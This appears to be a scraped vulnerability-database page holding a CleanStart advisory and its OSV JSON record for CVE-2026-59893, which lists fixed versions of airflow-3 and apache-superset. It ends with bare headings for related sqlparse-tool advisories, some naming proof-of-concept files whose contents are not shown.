    "CVE-2026-69247",
    "CVE-2026-71491",
    "CVE-2026-7246",
    "ghsa-2h4p-vjrc-8xpq",
    "ghsa-5239-wwwm-4pmq",
    "ghsa-537c-gmf6-5ccf",
    "ghsa-65pc-fj4g-8rjx",
    "ghsa-68rp-wp8r-4726",
    "ghsa-6v7p-g79w-8964",
    "ghsa-mf9v-mfxr-j63j",
    "ghsa-mf9w-mj56-hr94",
    "ghsa-qccp-gfcp-xxvc",
    "ghsa-v92g-xgxw-vvmm"
  ],
  "withdrawn": "2026-09-18T11:59:01.768079Z"
}

CLEANSTART-2026-QP37899 (CVE-2026-59893)

Vulnerability from cleanstart – Published: 2026-09-18 09:31 – Updated: 2026-09-07 06:35 – Source website

Summary

Security fix for CVE-2026-59893 applied in: airflow-3 3.0.6-r6, airflow-3 3.1.8-r10, airflow-3 3.3.0-r5, apache-superset 5.0.0-r9, apache-superset 6.0.0-r7

Details

CVE-2026-59893 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/CVE-2026-59893	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59893	WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "airflow-3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.6-r6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "airflow-3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.8-r10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "airflow-3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.0-r9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-r7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "CVE-2026-59893 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-QP37899",
  "modified": "2026-09-07T06:35:36Z",
  "published": "2026-09-18T09:31:12.688981Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-QP37899.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59893"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59893"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fix for CVE-2026-59893 applied in: airflow-3 3.0.6-r6, airflow-3 3.1.8-r10, airflow-3 3.3.0-r5, apache-superset 5.0.0-r9, apache-superset 6.0.0-r7",
  "upstream": [
    "CVE-2026-59893"
  ]
}

CVE-2026-59893 (GCVE-0-2026-59893)

Tags

Sightings

Nomenclature

Related by attack behaviour

Action not permitted

CVE-2026-59893 (GCVE-0-2026-59893)

BREW-ATHENACLI-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Summary

Details

PoC

Additional affected pattern: multiline comments

Impact

Reproduction artifacts

Dockerfile

poc.py

BREW-DOLPHIE-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Summary

Details

PoC

Additional affected pattern: multiline comments

Impact

Reproduction artifacts

Dockerfile

poc.py

BREW-LITECLI-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Summary

Details

PoC

Additional affected pattern: multiline comments

Impact

Reproduction artifacts

Dockerfile

poc.py

BREW-MYCLI-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Summary

Details

PoC

Additional affected pattern: multiline comments

Impact

Reproduction artifacts

Dockerfile

poc.py

BREW-PGCLI-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Summary

Details

PoC

Additional affected pattern: multiline comments

Impact

Reproduction artifacts

Dockerfile

poc.py

BREW-SQLPARSE-CVE-2026-59893 (CVE-2026-59893)

CERTFR-2026-AVI-1165

Solutions

CLEANSTART-2026-EC11110 (CVE-2026-13149)

CLEANSTART-2026-MQ51708 (CVE-2026-27205)

CLEANSTART-2026-QP37899 (CVE-2026-59893)

Tags

Sightings

Nomenclature

Related by attack behaviour

`Dockerfile`

`poc.py`

`Dockerfile`

`poc.py`

`Dockerfile`

`poc.py`

`Dockerfile`

`poc.py`

`Dockerfile`

`poc.py`